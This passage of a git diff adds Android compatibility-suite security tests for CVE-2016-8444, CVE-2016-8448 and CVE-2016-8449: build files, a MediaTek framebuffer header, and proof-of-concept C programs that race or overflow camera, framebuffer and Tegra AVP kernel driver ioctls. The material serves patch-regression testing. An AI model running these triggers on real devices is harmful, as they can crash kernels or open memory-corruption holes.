+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8444/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8444/poc.c
new file mode 100644
index 0000000..d681a43
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8444/poc.c
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <unistd.h>
+#include <fcntl.h>
+#include <sys/syscall.h>
+#include <stdio.h>
+#include <string.h>
+#include <stdint.h>
+#include <pthread.h>
+
+#define MSM_SD_SHUTDOWN 0xc00856dd
+#define VIDIOC_MSM_ISPIF_CFG 0xc17056c0
+
+struct ispif_cfg_data {
+  int32_t  cfg_type;
+  union {
+    int reg_dump;                        /* ISPIF_ENABLE_REG_DUMP */
+    uint32_t csid_version;               /* ISPIF_INIT */
+    //struct msm_ispif_vfe_info vfe_info;  /* ISPIF_SET_VFE_INFO */
+    //struct msm_ispif_param_data params;  /* CFG, START, STOP */
+  };
+};
+
+long r[11];
+
+int fd;
+struct ispif_cfg_data data;
+
+void *worker_thread(void *arg) {
+
+  int arg1[3] =  {0};
+  switch ((long)arg) {
+  case 0:
+    data.cfg_type = 8; ////release
+    ioctl(fd, VIDIOC_MSM_ISPIF_CFG, &data);
+    break;
+  case 1:
+    ioctl(fd, MSM_SD_SHUTDOWN, &arg1);
+    break;
+  }
+  return NULL;
+}
+
+int main() {
+
+  int pid,i;
+  pthread_t th[4];
+  fd = open( "/dev/v4l-subdev17", 0x0ul );
+
+  printf("please wait for several seconds...\n");
+
+  while(1){
+
+    data.cfg_type = 2; ////init
+    data.csid_version = 1;
+    ioctl(fd, VIDIOC_MSM_ISPIF_CFG, &data);
+
+    for (i = 0; i < 2; i++) {
+      pthread_create(&th[i], 0, worker_thread, (void *)(long)i);
+      usleep(10);
+    }
+  }
+  return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk
new file mode 100644
index 0000000..72ea6c6
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8448
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wno-unused-parameter
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb.h b/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb.h
new file mode 100644
index 0000000..b33073c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb.h
@@ -0,0 +1,397 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#ifndef __MTKFB_H
+#define __MTKFB_H
+
+#include <linux/types.h>
+#include "mtkfb_info.h"
+
+
+/**NOTICE:
+ * Must be consistent with bionic/libc/kernel/linux/common/mtkfb.h
+ */
+#define MTK_FB_NO_ION_FD                 ((int)(~0U>>1))
+#define MTK_FB_NO_USE_LAEYR_ID			 ((int)(~0U>>1))
+#define FBCAPS_GENERIC_MASK              (0x00000fff)
+#define FBCAPS_LCDC_MASK                 (0x00fff000)
+#define FBCAPS_PANEL_MASK                (0xff000000)
+#define FBCAPS_MANUAL_UPDATE             (0x00001000)
+#define FBCAPS_SET_BACKLIGHT             (0x01000000)
+#define MTKFB_ERROR_IS_EARLY_SUSPEND     (0x12000000)
+/* --------------------------------------------------------------------------- */
+/* IOCTL commands. */
+#define MTK_IOW(num, dtype)     _IOW('O', num, dtype)
+#define MTK_IOR(num, dtype)     _IOR('O', num, dtype)
+#define MTK_IOWR(num, dtype)    _IOWR('O', num, dtype)
+#define MTK_IO(num)             _IO('O', num)
+#define MTKFB_QUEUE_OVERLAY_CONFIG			MTK_IOW(137, struct fb_overlay_config)
+/* -------------------------------------------------------------------------- */
+#define MTKFB_SET_OVERLAY_LAYER                MTK_IOW(0, struct fb_overlay_layer)
+#define MTKFB_TRIG_OVERLAY_OUT                 MTK_IO(1)
+#define MTKFB_SET_VIDEO_LAYERS                 MTK_IOW(2, struct fb_overlay_layer)
+#define MTKFB_CAPTURE_FRAMEBUFFER              MTK_IOW(3, unsigned long)
+#define MTKFB_CONFIG_IMMEDIATE_UPDATE          MTK_IOW(4, unsigned long)
+#define MTKFB_SET_MULTIPLE_LAYERS              MTK_IOW(5, struct fb_overlay_layer)
+#define MTKFB_REGISTER_OVERLAYBUFFER           MTK_IOW(6, struct fb_overlay_buffer_info)
+#define MTKFB_UNREGISTER_OVERLAYBUFFER         MTK_IOW(7, unsigned int)
+#define MTKFB_SET_ORIENTATION                  MTK_IOW(8, unsigned long)
+#define MTKFB_FBLAYER_ENABLE                   MTK_IOW(9, unsigned int)
+#define MTKFB_LOCK_FRONT_BUFFER                MTK_IO(10)
+#define MTKFB_UNLOCK_FRONT_BUFFER              MTK_IO(11)
+#define MTKFB_POWERON				           MTK_IO(12)
+#define MTKFB_POWEROFF				           MTK_IO(13)
+
+/* Fence/Ion, OVL decoupling */
+#define MTKFB_PREPARE_OVERLAY_BUFFER           MTK_IOW(14, struct fb_overlay_buffer)
+
+/* S3D control */
+#define MTKFB_SET_COMPOSING3D                  MTK_IOW(15, unsigned long)
+#define MTKFB_SET_S3D_FTM		               MTK_IOW(16, unsigned long)
+
+/* FM De-sense for EM and Normal mode */
+#define MTKFB_GET_DEFAULT_UPDATESPEED          MTK_IOR(17, unsigned long)
+#define MTKFB_GET_CURR_UPDATESPEED             MTK_IOR(18, unsigned long)
+/* for EM, not called change writecycle because DPI change pll ckl */
+#define MTKFB_CHANGE_UPDATESPEED               MTK_IOW(19, unsigned long)
+#define MTKFB_GET_INTERFACE_TYPE               MTK_IOR(20, unsigned long)	/* /0 DBI, 1 DPI, 2 MIPI */
+#define MTKFB_GET_POWERSTATE		           MTK_IOR(21, unsigned long)	/* /0: power off  1: power on */
+#define MTKFB_GET_DISPLAY_IF_INFORMATION       MTK_IOR(22, mtk_dispif_info_t)
+/*called before SET_OVERLAY each time, if true, hwc will not use FB_LAYER again*/
+#define MTKFB_AEE_LAYER_EXIST                  MTK_IOR(23, unsigned long)
+#define MTKFB_GET_OVERLAY_LAYER_INFO           MTK_IOR(24, struct fb_overlay_layer_info)
+#define MTKFB_FACTORY_AUTO_TEST                MTK_IOR(25, unsigned long)
+#define MTKFB_GET_FRAMEBUFFER_MVA              MTK_IOR(26, unsigned int)
+#define MTKFB_SLT_AUTO_CAPTURE                 MTK_IOWR(27, struct fb_slt_catpure)
+
+/*error handling*/
+#define MTKFB_META_RESTORE_SCREEN              MTK_IOW(101, unsigned long)
+#define MTKFB_ERROR_INDEX_UPDATE_TIMEOUT       MTK_IO(103)
+#define MTKFB_ERROR_INDEX_UPDATE_TIMEOUT_AEE   MTK_IO(104)
+
+/*restore bootlogo and character in meta mode*/
+#define MTKFB_META_SHOW_BOOTLOGO               MTK_IO(105)
+
+/*Extension FB active option*/
+#define FB_ACTIVATE_NO_UPDATE  512       /* Skip frame update */
+/**
+ * Just for mt6589 Platform
+ * @{
+ */
+#define MTKFB_GETVFRAMEPHYSICAL                MTK_IOW(41, unsigned long)
+#define MTKFB_WAIT_OVERLAY_READY               MTK_IO(42)
+#define MTKFB_GET_OVERLAY_LAYER_COUNT          MTK_IOR(43, unsigned long)
+#define MTKFB_GET_VIDEOLAYER_SIZE              MTK_IOR(44, struct fb_overlay_layer)
+#define MTKFB_CAPTURE_VIDEOBUFFER              MTK_IOW(45, unsigned long)
+
+/* -------------------------------------------------------------------------- */
+/* Video Playback Mode */
+#define MTKFB_TV_POST_VIDEO_BUFFER             MTK_IOW(46, unsigned long)
+#define MTKFB_TV_LEAVE_VIDEO_PLAYBACK_MODE     MTK_IOW(47, unsigned long)
+/* For Factory Mode */
+#define MTKFB_IS_TV_CABLE_PLUG_IN              MTK_IOW(48, unsigned long)
+
+/* -------------------------------------------------------------------------- */
+#define MTKFB_BOOTANIMATION			           MTK_IO(49)
+#define MTKFB_GETFPS			               MTK_IOW(50, unsigned long)
+#define MTKFB_VSYNC                            MTK_IO(51)
+
+/* ----------------------------------------------------------------------FM De-sense for EM and Normal mode */
+#define MTKFB_FM_NOTIFY_FREQ                   MTK_IOW(52, unsigned long)	/* for Normal mode */
+#define MTKFB_RESET_UPDATESPEED                MTK_IO(53)
+#define MTKFB_SET_UI_LAYER_ALPHA               MTK_IOW(54, unsigned long)
+#define MTKFB_SET_UI_LAYER_SRCKEY              MTK_IOW(55, unsigned long)
+
+#define MTKFB_GET_MAX_DISPLAY_COUNT		       MTK_IOR(56, unsigned int)
+#define MTKFB_SET_FB_LAYER_SECURE              MTK_IOW(57, int)
+/**
+ * @}
+ */
+/* ---------------------------------------------------------------------- */
+
+/* -------------------------------------------------------------------------- */
+
+typedef enum {
+	MTK_FB_ORIENTATION_0 = 0,
+	MTK_FB_ORIENTATION_90 = 1,
+	MTK_FB_ORIENTATION_180 = 2,
+	MTK_FB_ORIENTATION_270 = 3,
+} MTK_FB_ORIENTATION;
+
+
+typedef enum {
+	MTK_FB_TV_SYSTEM_NTSC = 0,
+	MTK_FB_TV_SYSTEM_PAL = 1,
+} MTK_FB_TV_SYSTEM;
+
+
+typedef enum {
+	MTK_FB_TV_FMT_RGB565 = 0,
+	MTK_FB_TV_FMT_YUV420_SEQ = 1,
+	MTK_FB_TV_FMT_UYUV422 = 2,
+	MTK_FB_TV_FMT_YUV420_BLK = 3,
+} MTK_FB_TV_SRC_FORMAT;
+
+typedef enum {
+	LAYER_NORMAL_BUFFER = 0,
+	LAYER_SECURE_BUFFER = 1,
+	LAYER_PROTECTED_BUFFER = 2,
+	LAYER_SECURE_BUFFER_WITH_ALIGN = 0x10001,	/* the higher 16 bits =1 for adding 64 bytes alignment */
+} MTK_FB_OVL_LAYER_SECURE_MODE;
+
+typedef struct _disp_dfo_item {
+	char name[32];
+	int value;
+} disp_dfo_item_t;
+
+/* -------------------------------------------------------------------------- */
+struct fb_slt_catpure {
+	MTK_FB_FORMAT format;
+
+	volatile char *outputBuffer;
+	unsigned int wdma_width;
+	unsigned int wdma_height;
+};
+
+struct fb_scale {
+	unsigned int xscale, yscale;
+};
+
+struct fb_frame_offset {
+	unsigned int idx;
+	unsigned long offset;
+};
+
+struct fb_update_window {
+	unsigned int x, y;
+	unsigned int width, height;
+};
+
+typedef enum {
+	LAYER_2D = 0,
+	LAYER_3D_SBS_0 = 0x1,
+	LAYER_3D_SBS_90 = 0x2,
+	LAYER_3D_SBS_180 = 0x3,
+	LAYER_3D_SBS_270 = 0x4,
+	LAYER_3D_TAB_0 = 0x10,
+	LAYER_3D_TAB_90 = 0x20,
+	LAYER_3D_TAB_180 = 0x30,
+	LAYER_3D_TAB_270 = 0x40,
+} MTK_FB_LAYER_TYPE;
+
+typedef enum {
+	DISP_DIRECT_LINK_MODE,
+	DISP_DECOUPLE_MODE
+} MTK_DISP_MODE;
+struct fb_overlay_mode {
+	MTK_DISP_MODE mode;
+};
+
+typedef enum {			/* map sessions to scenairos in kernel driver */
+	DISP_SESSION_LCM = 1 << 0,	/* DSI0 */
+	DISP_SESSION_MEM = 1 << 1,	/* OVL0->WDMA0 */
+/* Extension mode, Dst buf is provided by user,for Wifi Display or other purpose */
+	DISP_SESSION_WFD = 1 << 2,
+	DISP_SESSION_MHL = 1 << 3,	/* DPI */
+	DISP_SESSION_LCM1 = 1 << 4,	/* DSI1 */
+	DISP_SESSION_MEM1 = 1 << 5,	/* OVL1->WDMA1 */
+	/* TODO:can be extended with other Session Id */
+	SESSION_MASK = 0xff & ~(1 << 6)
+} MTK_DISP_SESSION;
+
+struct fb_overlay_session {
+	unsigned int session;	/* one or more @MTK_DISP_SESSION combined */
+};
+
+struct fb_overlay_decouple {
+	MTK_DISP_MODE mode;
+	unsigned int session;
+};
+struct fb_overlay_buffer {
+	/* Input */
+	int layer_id;
+	unsigned int layer_en;
+	int ion_fd;
+	unsigned int cache_sync;
+	/* Output */
+	unsigned int index;
+	int fence_fd;
+};
+
+struct fb_overlay_layer {
+	unsigned int layer_id;
+	unsigned int layer_enable;
+
+	void *src_base_addr;
+	void *src_phy_addr;
+	unsigned int src_direct_link;
+	MTK_FB_FORMAT src_fmt;
+	unsigned int src_use_color_key;
+	unsigned int src_color_key;
+	unsigned int src_pitch;
+	unsigned int src_offset_x, src_offset_y;
+	unsigned int src_width, src_height;
+
+	unsigned int tgt_offset_x, tgt_offset_y;
+	unsigned int tgt_width, tgt_height;
+	MTK_FB_ORIENTATION layer_rotation;
+	MTK_FB_LAYER_TYPE layer_type;
+	MTK_FB_ORIENTATION video_rotation;
+
+	unsigned int isTdshp;	/* set to 1, will go through tdshp first, then layer blending, then to color */
+
+	int next_buff_idx;
+	int identity;
+	int connected_type;
+	unsigned int security;
+	unsigned int alpha_enable;
+	unsigned int alpha;
+	int fence_fd;		/* 8135 */
+	int ion_fd;		/* 8135 CL 2340210 */
+};
+
+struct fb_overlay_config {
+	int fence;
+	int time;
+	struct fb_overlay_layer layers[4];
+};
+
+struct fb_overlay_buffer_info {
+	unsigned int src_vir_addr;
+	unsigned int size;
+};
+
+struct fb_overlay_layer_info {
+	unsigned int layer_id;
+	unsigned int layer_enabled;	/* TO BE DEL */
+	unsigned int curr_en;
+	unsigned int next_en;
+	unsigned int hw_en;
+	int curr_idx;
+	int next_idx;
+	int hw_idx;
+	int curr_identity;
+	int next_identity;
+	int hw_identity;
+	int curr_conn_type;
+	int next_conn_type;
+	int hw_conn_type;
+	MTK_FB_ORIENTATION layer_rotation;
+};
+/* -------------------------------------------------------------------------- */
+
+struct fb_post_video_buffer {
+	void *phy_addr;
+	void *vir_addr;
+	MTK_FB_TV_SRC_FORMAT format;
+	unsigned int width, height;
+};
+
+#if defined(CONFIG_ARCH_MT6735) || defined(CONFIG_ARCH_MT6735M) || defined(CONFIG_ARCH_MT6753)
+extern unsigned int EnableVSyncLog;
+
+void mtkfb_log_enable(int enable);
+int mtkfb_set_backlight_mode(unsigned int mode);
+int mtkfb_set_backlight_level(unsigned int level);
+int mtkfb_get_debug_state(char *stringbuf, int buf_len);
+unsigned int mtkfb_fm_auto_test(void);
+void mtkfb_clear_lcm(void);
+#endif /* CONFIG_ARCH_MT6735 */
+
+#ifdef __KERNEL__
+
+#include <linux/completion.h>
+#include <linux/interrupt.h>
+#include <linux/workqueue.h>
+#include <linux/version.h>
+#include <../drivers/staging/android/sw_sync.h>
+
+
+#define MTKFB_DRIVER "mtkfb"
+
+enum mtkfb_state {
+	MTKFB_DISABLED = 0,
+	MTKFB_SUSPENDED = 99,
+	MTKFB_ACTIVE = 100
+};
+
+typedef enum {
+	MTKFB_LAYER_ENABLE_DIRTY = (1 << 0),
+	MTKFB_LAYER_FORMAT_DIRTY = (1 << 1),
+	MTKFB_LAYER_SET_DIRTY = (1 << 2),
+} MTKFB_LAYER_CONFIG_DIRTY;
+
+typedef struct {
+	struct work_struct work;
+	struct list_head list;
+	struct fb_overlay_config config;
+	struct sync_fence *fences[4];
+	struct ion_handle *ion_handles[4];
+	void *dev;
+} update_ovls_work_t;
+
+struct mtkfb_device {
+	int state;
+	void *fb_va_base;	/* MPU virtual address */
+	dma_addr_t fb_pa_base;	/* Bus physical address */
+	unsigned long fb_size_in_byte;
+	void *ovl_va_base;	/* MPU virtual address */
+	dma_addr_t ovl_pa_base;	/* Bus physical address */
+	unsigned long ovl_size_in_byte;
+
+	unsigned long layer_enable;
+	MTK_FB_FORMAT *layer_format;
+	unsigned int layer_config_dirty;
+
+	int xscale, yscale, mirror;	/* transformations.
+					   rotate is stored in fb_info->var */
+	u32 pseudo_palette[17];
+
+	struct fb_info *fb_info;	/* Linux fbdev framework data */
+	struct device *dev;
+
+	/* Android native fence support */
+	struct workqueue_struct *update_ovls_wq;
+	struct mutex timeline_lock;
+	struct sw_sync_timeline *timeline;
+	int timeline_max;
+	struct list_head pending_configs;	/* CL2340210 */
+	struct ion_client *ion_client;
+};
+
+#endif				/* __KERNEL__ */
+
+extern long hdmi_handle_cmd(unsigned int cmd, unsigned long arg);
+
+#if defined(CONFIG_ARCH_MT6797)
+extern unsigned int vramsize;
+#endif
+
+#if defined(CONFIG_ARCH_MT6735) || defined(CONFIG_ARCH_MT6735M) || defined(CONFIG_ARCH_MT6753)
+extern bool is_early_suspended;
+extern void mtkfb_waitVsync(void);
+extern bool is_ipoh_bootup;
+
+#ifdef CONFIG_OF
+int _parse_tag_videolfb(void);
+extern unsigned int islcmconnected;
+extern unsigned int vramsize;
+#else
+extern char *saved_command_line;
+#endif
+#endif /* CONFIG_ARCH_MT6735 */
+
+
+#endif				/* __MTKFB_H */
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb_info.h b/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb_info.h
new file mode 100644
index 0000000..61e7cfd
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb_info.h
@@ -0,0 +1,101 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#ifndef __MTKFB_INFO_H__
+#define __MTKFB_INFO_H__
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+
+	typedef enum {
+		DISPIF_TYPE_DBI = 0,
+		DISPIF_TYPE_DPI,
+		DISPIF_TYPE_DSI,
+		DISPIF_TYPE_DPI0,
+		DISPIF_TYPE_DPI1,
+		DISPIF_TYPE_DSI0,
+		DISPIF_TYPE_DSI1,
+		HDMI = 7,
+		HDMI_SMARTBOOK,
+		MHL,
+		DISPIF_TYPE_EPD,
+		SLIMPORT
+	} MTKFB_DISPIF_TYPE;
+
+	typedef enum {
+		MTKFB_DISPIF_PRIMARY_LCD = 0,
+		MTKFB_DISPIF_HDMI,
+		MTKFB_DISPIF_EPD,
+		MTKFB_MAX_DISPLAY_COUNT
+	} MTKFB_DISPIF_DEVICE_TYPE;
+
+	typedef enum {
+		DISPIF_FORMAT_RGB565 = 0,
+		DISPIF_FORMAT_RGB666,
+		DISPIF_FORMAT_RGB888
+	} MTKFB_DISPIF_FORMAT;
+
+
+	typedef enum {
+		DISPIF_MODE_VIDEO = 0,
+		DISPIF_MODE_COMMAND
+	} MTKFB_DISPIF_MODE;
+
+	typedef struct mtk_dispif_info {
+		unsigned int display_id;
+		unsigned int isHwVsyncAvailable;
+		MTKFB_DISPIF_TYPE displayType;
+		unsigned int displayWidth;
+		unsigned int displayHeight;
+		unsigned int displayFormat;
+		MTKFB_DISPIF_MODE displayMode;
+		unsigned int vsyncFPS;
+		unsigned int physicalWidth;
+		unsigned int physicalHeight;
+		unsigned int isConnected;
+/* this value is for DFO Multi-Resolution feature, which stores the original LCM Wdith */
+		unsigned int lcmOriginalWidth;
+/* this value is for DFO Multi-Resolution feature, which stores the original LCM Height */
+		unsigned int lcmOriginalHeight;
+	} mtk_dispif_info_t;
+
+#define MAKE_MTK_FB_FORMAT_ID(id, bpp)  (((id) << 8) | (bpp))
+
+	typedef enum {
+		MTK_FB_FORMAT_UNKNOWN = 0,
+
+		MTK_FB_FORMAT_RGB565 = MAKE_MTK_FB_FORMAT_ID(1, 2),
+		MTK_FB_FORMAT_RGB888 = MAKE_MTK_FB_FORMAT_ID(2, 3),
+		MTK_FB_FORMAT_BGR888 = MAKE_MTK_FB_FORMAT_ID(3, 3),
+		MTK_FB_FORMAT_ARGB8888 = MAKE_MTK_FB_FORMAT_ID(4, 4),
+		MTK_FB_FORMAT_ABGR8888 = MAKE_MTK_FB_FORMAT_ID(5, 4),
+		MTK_FB_FORMAT_YUV422 = MAKE_MTK_FB_FORMAT_ID(6, 2),
+		MTK_FB_FORMAT_XRGB8888 = MAKE_MTK_FB_FORMAT_ID(7, 4),
+		MTK_FB_FORMAT_XBGR8888 = MAKE_MTK_FB_FORMAT_ID(8, 4),
+		MTK_FB_FORMAT_UYVY = MAKE_MTK_FB_FORMAT_ID(9, 2),
+		MTK_FB_FORMAT_YUV420_P = MAKE_MTK_FB_FORMAT_ID(10, 2),
+		MTK_FB_FORMAT_YUY2 = MAKE_MTK_FB_FORMAT_ID(11, 2),
+		MTK_FB_FORMAT_BPP_MASK = 0xFF,
+	} MTK_FB_FORMAT;
+
+#define GET_MTK_FB_FORMAT_BPP(f)    ((f) & MTK_FB_FORMAT_BPP_MASK)
+
+
+#ifdef __cplusplus
+}
+#endif
+#endif				/* __DISP_DRV_H__ */
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8448/poc.c
new file mode 100644
index 0000000..e5f675b
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8448/poc.c
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <sys/mman.h>
+#include <fcntl.h>
+//#include <pthread.h>
+#include <sys/prctl.h>
+#include <unistd.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <asm-generic/ioctl.h>
+#include "mtkfb.h"
+int main(int argc, char **argv) {
+    int fd = 0;
+    struct fb_overlay_layer layerInfo;
+    memset(&layerInfo, 0, sizeof(layerInfo));
+    fd = open("/dev/graphics/fb0", O_RDWR);
+    if (fd < 0) {
+		perror("open /dev/graphics/fb0");
+		exit(-1);
+    }
+    printf("Device file opened successfully\n");
+    printf("Trying to get layer info\n");
+    if(ioctl(fd, MTKFB_GET_OVERLAY_LAYER_INFO, &layerInfo) == -1) {
+        perror("ioctl MTKFB_GET_OVERLAY_LAYER_INFO failed");
+        exit(-2);
+    }
+    printf("Got layer info\n");
+    printf("Trying to set layer info\n");
+    // set any huge value here
+    int curr_val = 0xf1111111;
+    while(1) {
+        layerInfo.layer_id = curr_val;
+        if(ioctl(fd, MTKFB_SET_OVERLAY_LAYER, &layerInfo) == -1) {
+            perror("ioctl MTKFB_SET_OVERLAY_LAYER failed");
+            //exit(-2);
+        }
+        curr_val--;
+        if(curr_val == -1) {
+            break;
+        }
+    }
+    printf("Set layer info\n");
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk
new file mode 100644
index 0000000..0d8c039
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8449
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wno-unused-parameter
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8449/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8449/poc.c
new file mode 100755
index 0000000..1e76b55
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8449/poc.c
@@ -0,0 +1,143 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <string.h>
+#include <errno.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <errno.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <sched.h>
+#include <sys/types.h>
+#include <signal.h>
+#include <unistd.h>
+
+#define LOG(fmt, ...)   printf(fmt "\n", ##__VA_ARGS__)
+#define ERR(fmt, ...)   printf(fmt ": %d(%s)\n", ##__VA_ARGS__, errno, strerror(errno))
+#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
+#define CLOSE_THREAD_NUM	100
+#define TRY_TIMES		900
+
+#define DEV "/dev/tegra_avpchannel"
+
+#define NVAVP_IOCTL_MAGIC		'n'
+
+struct nvavp_channel_open_args {
+	__u32 channel_fd;
+};
+
+#define NVAVP_IOCTL_CHANNEL_OPEN	_IOR(NVAVP_IOCTL_MAGIC, 0x73, \
+					struct nvavp_channel_open_args)
+
+int fd;
+pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
+
+static int set_affinity(int num)
+{
+	int ret = 0;
+	cpu_set_t mask;
+	CPU_ZERO(&mask);
+	CPU_SET(num, &mask);
+	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+	if(ret == -1){
+		ERR("[-] set affinity failed");
+	}
+	return ret;
+}
+
+volatile int target_fd;
+volatile int attack;
+void* close_thread(void* no_use)
+{
+	set_affinity(1);
+
+	while(attack){
+		close(target_fd);	
+	}
+
+	return NULL;
+}
+
+int main()
+{
+	int i, try_time = TRY_TIMES, ret;
+	struct nvavp_channel_open_args o_args = { 0 };
+
+	/* bind_cpu */
+	set_affinity(0);
+
+	/* open dev */
+	fd = open(DEV, O_RDONLY);
+	if(fd == -1){
+		ERR("[-] open failed");
+		return 0;
+	} else {
+		LOG("[+] open OK");
+	}
+
+	#if 1
+	ret = ioctl(fd, NVAVP_IOCTL_CHANNEL_OPEN, &o_args);
+	if(ret == -1) {
+		ERR("[-] ioctl failed");
+		goto out_dev;
+	} else {
+		LOG("[+] ioctl OK, fd = %d", o_args.channel_fd);
+	}
+
+	target_fd = o_args.channel_fd;	
+	#endif
+
+	/* create close thread */
+	#if 1
+	attack = 1;
+	for(i = 0; i < CLOSE_THREAD_NUM; i++){
